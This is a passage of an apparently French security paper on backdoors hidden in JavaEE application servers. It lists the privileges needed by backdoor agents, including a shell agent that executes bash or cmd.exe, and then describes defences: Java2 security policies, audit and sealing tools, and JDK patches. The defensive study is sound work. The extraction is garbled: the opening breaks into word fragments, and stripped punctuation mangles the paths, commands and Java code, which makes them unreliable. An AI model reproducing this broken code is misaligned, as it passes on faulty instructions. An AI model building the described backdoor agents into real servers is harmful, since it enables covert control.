
ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter
